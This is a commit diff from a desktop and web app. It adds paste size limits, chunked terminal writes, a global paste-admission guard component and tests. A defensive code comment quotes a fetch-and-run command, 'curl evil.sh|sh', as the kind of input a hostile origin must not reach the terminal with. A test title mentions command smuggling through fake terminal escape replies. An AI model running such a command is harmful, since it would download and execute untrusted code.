Skip to content

Commit bc9b74e

Browse files
committed
fix(ui): optimize universal paste handling
1 parent 76c7be5 commit bc9b74e

35 files changed

Lines changed: 1247 additions & 129 deletions

File tree

apps/desktop/src/main/ipc.test.ts

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import { readFileSync } from 'node:fs'
22
import { fileURLToPath } from 'node:url'
3+
import { PASTE_LIMITS } from '@sim/utils/paste'
34
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
45

56
vi.mock('electron', () => import('@/test/electron-mock'))
@@ -1695,6 +1696,28 @@ describe('registerIpcHandlers', () => {
16951696
expect(write).not.toHaveBeenCalled()
16961697
})
16971698

1699+
it('rejects an oversized terminal paste before writing to the PTY', async () => {
1700+
const { invoke } = collectHandlers()
1701+
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
1702+
vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1))
1703+
1704+
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(
1705+
'too-large'
1706+
)
1707+
expect(write).not.toHaveBeenCalled()
1708+
})
1709+
1710+
it('writes an admitted terminal paste in bounded chunks', async () => {
1711+
const { invoke } = collectHandlers()
1712+
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
1713+
const text = 'x'.repeat(70 * 1024)
1714+
vi.mocked(clipboard.readText).mockReturnValue(text)
1715+
1716+
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true)
1717+
expect(write).toHaveBeenCalledTimes(2)
1718+
expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text)
1719+
})
1720+
16981721
it('gates a command smuggled inside a fake OSC or DCS reply', () => {
16991722
const { on } = collectHandlers()
17001723
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})

apps/desktop/src/main/ipc.ts

Lines changed: 24 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ import {
2727
} from '@sim/terminal-protocol'
2828
import { getErrorMessage } from '@sim/utils/errors'
2929
import { isRecordLike } from '@sim/utils/object'
30+
import { PASTE_LIMITS, utf8ByteLength } from '@sim/utils/paste'
3031
import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron'
3132
import { clipboard, ipcMain, shell } from 'electron'
3233
import {
@@ -90,6 +91,23 @@ const logger = createLogger('DesktopIpc')
9091

9192
/** Workspace/chat ids are opaque tokens; anything else never reaches a URL. */
9293
const ID_PATTERN = /^[A-Za-z0-9_-]{1,128}$/
94+
const TERMINAL_WRITE_CHUNK_CHARACTERS = 64 * 1024
95+
96+
function writeTerminalText(
97+
terminal: TerminalRegistry,
98+
scope: string,
99+
terminalId: string,
100+
text: string
101+
): void {
102+
let start = 0
103+
while (start < text.length) {
104+
let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length)
105+
const finalCode = text.charCodeAt(end - 1)
106+
if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1
107+
terminal.write(scope, terminalId, text.slice(start, end))
108+
start = end
109+
}
110+
}
93111

94112
const MICROPHONE_SETTINGS_URLS: Partial<Record<NodeJS.Platform, string>> = {
95113
darwin: 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone',
@@ -1546,7 +1564,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
15461564
if (!scope || typeof terminalId !== 'string') return false
15471565
const text = clipboard.readText()
15481566
if (!text) return false
1549-
deps.terminal.write(scope, terminalId, text)
1567+
if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) {
1568+
return 'too-large'
1569+
}
1570+
writeTerminalText(deps.terminal, scope, terminalId, text)
15501571
return true
15511572
},
15521573
},
@@ -1735,7 +1756,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
17351756
handler: (sender, terminalId, data, rawScope) => {
17361757
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
17371758
if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return
1738-
deps.terminal.write(scope, terminalId, data)
1759+
if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return
1760+
writeTerminalText(deps.terminal, scope, terminalId, data)
17391761
},
17401762
// An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
17411763
// Panel focus is deliberately not used — `terminal:focused` is a

apps/desktop/src/preload/index.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -456,7 +456,7 @@ const api: SimDesktopApi = {
456456
write: (terminalId: string, data: string, scopeId: string): void => {
457457
ipcRenderer.send('terminal:write', terminalId, data, scopeId)
458458
},
459-
paste: (terminalId: string, scopeId: string): Promise<boolean> =>
459+
paste: (terminalId: string, scopeId: string) =>
460460
ipcRenderer.invoke('terminal:paste', terminalId, scopeId),
461461
resize: (terminalId: string, cols: number, rows: number, scopeId: string): void => {
462462
ipcRenderer.send('terminal:resize', terminalId, cols, rows, scopeId)
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
/**
2+
* @vitest-environment jsdom
3+
*/
4+
import { act } from 'react'
5+
import { createRoot, type Root } from 'react-dom/client'
6+
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
7+
8+
const { warning } = vi.hoisted(() => ({ warning: vi.fn() }))
9+
10+
vi.mock('@sim/emcn', () => ({
11+
useToast: () => ({ toast: { warning } }),
12+
}))
13+
14+
import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard'
15+
16+
let host: HTMLDivElement
17+
let root: Root
18+
19+
function dispatchPaste(target: Element, text: string): Event {
20+
const event = new Event('paste', { bubbles: true, cancelable: true, composed: true })
21+
Object.defineProperty(event, 'clipboardData', {
22+
value: { getData: (type: string) => (type === 'text/plain' ? text : '') },
23+
})
24+
target.dispatchEvent(event)
25+
return event
26+
}
27+
28+
beforeEach(() => {
29+
host = document.createElement('div')
30+
document.body.appendChild(host)
31+
root = createRoot(host)
32+
act(() => root.render(<PasteAdmissionGuard />))
33+
})
34+
35+
afterEach(() => {
36+
act(() => root.unmount())
37+
host.remove()
38+
vi.clearAllMocks()
39+
})
40+
41+
describe('PasteAdmissionGuard', () => {
42+
it('rejects an oversized native paste before the target handler runs', () => {
43+
const input = document.createElement('textarea')
44+
input.dataset.pasteMaxBytes = '4'
45+
host.appendChild(input)
46+
const targetHandler = vi.fn()
47+
input.addEventListener('paste', targetHandler)
48+
49+
const event = dispatchPaste(input, '12345')
50+
51+
expect(event.defaultPrevented).toBe(true)
52+
expect(targetHandler).not.toHaveBeenCalled()
53+
expect(warning).toHaveBeenCalledOnce()
54+
})
55+
56+
it('uses projected native value size and accounts for the selection', () => {
57+
const input = document.createElement('textarea')
58+
input.dataset.pasteMaxBytes = '6'
59+
input.value = '123456'
60+
host.appendChild(input)
61+
62+
input.setSelectionRange(1, 5)
63+
expect(dispatchPaste(input, 'abcd').defaultPrevented).toBe(false)
64+
65+
input.setSelectionRange(6, 6)
66+
expect(dispatchPaste(input, 'a').defaultPrevented).toBe(true)
67+
})
68+
69+
it('honors a surface-specific character contract', () => {
70+
const input = document.createElement('textarea')
71+
input.dataset.pasteMaxBytes = '100'
72+
input.dataset.pasteMaxCharacters = '2'
73+
host.appendChild(input)
74+
75+
expect(dispatchPaste(input, '💡💡').defaultPrevented).toBe(true)
76+
})
77+
78+
it('uses a contenteditable selection when projecting the result', () => {
79+
const editable = document.createElement('div')
80+
editable.contentEditable = 'true'
81+
editable.dataset.pasteMaxBytes = '6'
82+
editable.textContent = '123456'
83+
host.appendChild(editable)
84+
const range = document.createRange()
85+
range.setStart(editable.firstChild as Text, 1)
86+
range.setEnd(editable.firstChild as Text, 5)
87+
const selection = document.getSelection()
88+
selection?.removeAllRanges()
89+
selection?.addRange(range)
90+
91+
expect(dispatchPaste(editable, 'abcd').defaultPrevented).toBe(false)
92+
})
93+
})
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
'use client'
2+
3+
import { useEffect, useRef } from 'react'
4+
import { useToast } from '@sim/emcn'
5+
import { assessTextPaste, formatPasteLimit, PASTE_LIMITS } from '@sim/utils/paste'
6+
7+
const EDITABLE_TARGET_SELECTOR =
8+
'input:not([type="file"]):not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="hidden"]), textarea, [contenteditable]:not([contenteditable="false"]), .monaco-editor, .xterm'
9+
10+
function finitePositiveAttribute(element: Element | null, name: string): number | undefined {
11+
const raw = element?.getAttribute(name)
12+
if (!raw) return undefined
13+
const value = Number(raw)
14+
return Number.isFinite(value) && value > 0 ? value : undefined
15+
}
16+
17+
function contentEditableSelection(element: HTMLElement): {
18+
currentText: string
19+
selectionStart: number
20+
selectionEnd: number
21+
} {
22+
const currentText = element.textContent ?? ''
23+
const selection = document.getSelection()
24+
if (!selection || selection.rangeCount === 0) {
25+
return { currentText, selectionStart: currentText.length, selectionEnd: currentText.length }
26+
}
27+
28+
const range = selection.getRangeAt(0)
29+
if (!element.contains(range.startContainer) || !element.contains(range.endContainer)) {
30+
return { currentText, selectionStart: currentText.length, selectionEnd: currentText.length }
31+
}
32+
33+
const before = document.createRange()
34+
before.selectNodeContents(element)
35+
before.setEnd(range.startContainer, range.startOffset)
36+
const selectionStart = before.toString().length
37+
return {
38+
currentText,
39+
selectionStart,
40+
selectionEnd: selectionStart + range.toString().length,
41+
}
42+
}
43+
44+
/**
45+
* Last-resort admission for every editable workspace surface. Specialized editors publish a larger
46+
* or smaller payload ceiling on an ancestor with `data-paste-max-bytes`; controls without one inherit
47+
* the Socket.IO-sized default. The capture listener runs before React, ProseMirror, Monaco, and xterm
48+
* can parse or render the clipboard value.
49+
*/
50+
export function PasteAdmissionGuard() {
51+
const { toast: notify } = useToast()
52+
const notifyRef = useRef(notify)
53+
notifyRef.current = notify
54+
55+
useEffect(() => {
56+
const handlePaste = (event: ClipboardEvent) => {
57+
if (!(event.target instanceof Element) || !event.target.closest(EDITABLE_TARGET_SELECTOR)) {
58+
return
59+
}
60+
61+
const text = event.clipboardData?.getData('text/plain') ?? ''
62+
if (!text) return
63+
64+
const policyElement = event.target.closest('[data-paste-max-bytes]')
65+
const maxPastedBytes =
66+
finitePositiveAttribute(policyElement, 'data-paste-max-bytes') ?? PASTE_LIMITS.DEFAULT_BYTES
67+
const maxPastedCharacters = finitePositiveAttribute(
68+
policyElement,
69+
'data-paste-max-characters'
70+
)
71+
const nativeControl =
72+
event.target instanceof HTMLInputElement || event.target instanceof HTMLTextAreaElement
73+
const editableElement = event.target.closest<HTMLElement>(
74+
'[contenteditable]:not([contenteditable="false"])'
75+
)
76+
const projectedValue = nativeControl
77+
? {
78+
currentText: event.target.value,
79+
selectionStart: event.target.selectionStart ?? event.target.value.length,
80+
selectionEnd: event.target.selectionEnd ?? event.target.value.length,
81+
}
82+
: editableElement
83+
? contentEditableSelection(editableElement)
84+
: null
85+
const admission = assessTextPaste({
86+
pastedText: text,
87+
maxPastedBytes,
88+
maxPastedCharacters,
89+
...(projectedValue
90+
? {
91+
...projectedValue,
92+
maxResultBytes: maxPastedBytes,
93+
maxResultCharacters: maxPastedCharacters,
94+
}
95+
: {}),
96+
})
97+
if (admission.accepted) return
98+
99+
event.preventDefault()
100+
event.stopImmediatePropagation()
101+
const limit =
102+
admission.reason === 'pasted-characters'
103+
? `${admission.limit.toLocaleString()} characters`
104+
: formatPasteLimit(admission.limit)
105+
notifyRef.current.warning('Paste is too large for this editor', {
106+
description: `The clipboard content was left unchanged. This editor supports up to ${limit}.`,
107+
})
108+
}
109+
110+
document.addEventListener('paste', handlePaste, true)
111+
return () => document.removeEventListener('paste', handlePaste, true)
112+
}, [])
113+
114+
return null
115+
}

apps/sim/app/credential-groups/enroll/[token]/page.tsx

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
import { type ReactNode, Suspense } from 'react'
2-
import { Chip, ToastProvider } from '@sim/emcn'
2+
import { Chip } from '@sim/emcn'
33
import type { Metadata } from 'next'
44
import { headers } from 'next/headers'
55
import { asOrchestrationError } from '@/lib/core/orchestration/types'
@@ -35,13 +35,11 @@ interface PageShellProps {
3535

3636
function PageShell({ children }: PageShellProps) {
3737
return (
38-
<ToastProvider>
39-
<LogoShell footer={<SupportFooter position='static' />}>
40-
<div className='mx-auto flex w-full max-w-[640px] flex-1 flex-col px-5 pt-16 pb-20 max-sm:pt-10'>
41-
{children}
42-
</div>
43-
</LogoShell>
44-
</ToastProvider>
38+
<LogoShell footer={<SupportFooter position='static' />}>
39+
<div className='mx-auto flex w-full max-w-[640px] flex-1 flex-col px-5 pt-16 pb-20 max-sm:pt-10'>
40+
{children}
41+
</div>
42+
</LogoShell>
4543
)
4644
}
4745

apps/sim/app/layout.tsx

Lines changed: 16 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
1+
import { ToastProvider } from '@sim/emcn'
12
import type { Metadata, Viewport } from 'next'
23
import Script from 'next/script'
34
import { PublicEnvScript as RuntimePublicEnvScript } from 'next-runtime-env'
45
import { NuqsAdapter } from 'nuqs/adapters/next/app'
56
import { BrandedLayout } from '@/components/branded-layout'
7+
import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard'
68
import { PostHogProvider } from '@/app/_shell/providers/posthog-provider'
79
import { generateBrandedMetadata, generateThemeCSS } from '@/ee/whitelabeling'
810
import '@/app/_styles/globals.css'
@@ -36,17 +38,20 @@ export const metadata: Metadata = generateBrandedMetadata()
3638
export default function RootLayout({ children }: { children: React.ReactNode }) {
3739
const themeCSS = generateThemeCSS()
3840
const application = (
39-
<PostHogProvider consentRequired={isHosted}>
40-
<ThemeProvider>
41-
<QueryProvider>
42-
<SessionProvider>
43-
<TooltipProvider>
44-
<BrandedLayout>{children}</BrandedLayout>
45-
</TooltipProvider>
46-
</SessionProvider>
47-
</QueryProvider>
48-
</ThemeProvider>
49-
</PostHogProvider>
41+
<ToastProvider>
42+
<PasteAdmissionGuard />
43+
<PostHogProvider consentRequired={isHosted}>
44+
<ThemeProvider>
45+
<QueryProvider>
46+
<SessionProvider>
47+
<TooltipProvider>
48+
<BrandedLayout>{children}</BrandedLayout>
49+
</TooltipProvider>
50+
</SessionProvider>
51+
</QueryProvider>
52+
</ThemeProvider>
53+
</PostHogProvider>
54+
</ToastProvider>
5055
)
5156

5257
return (

0 commit comments

Comments
 (0)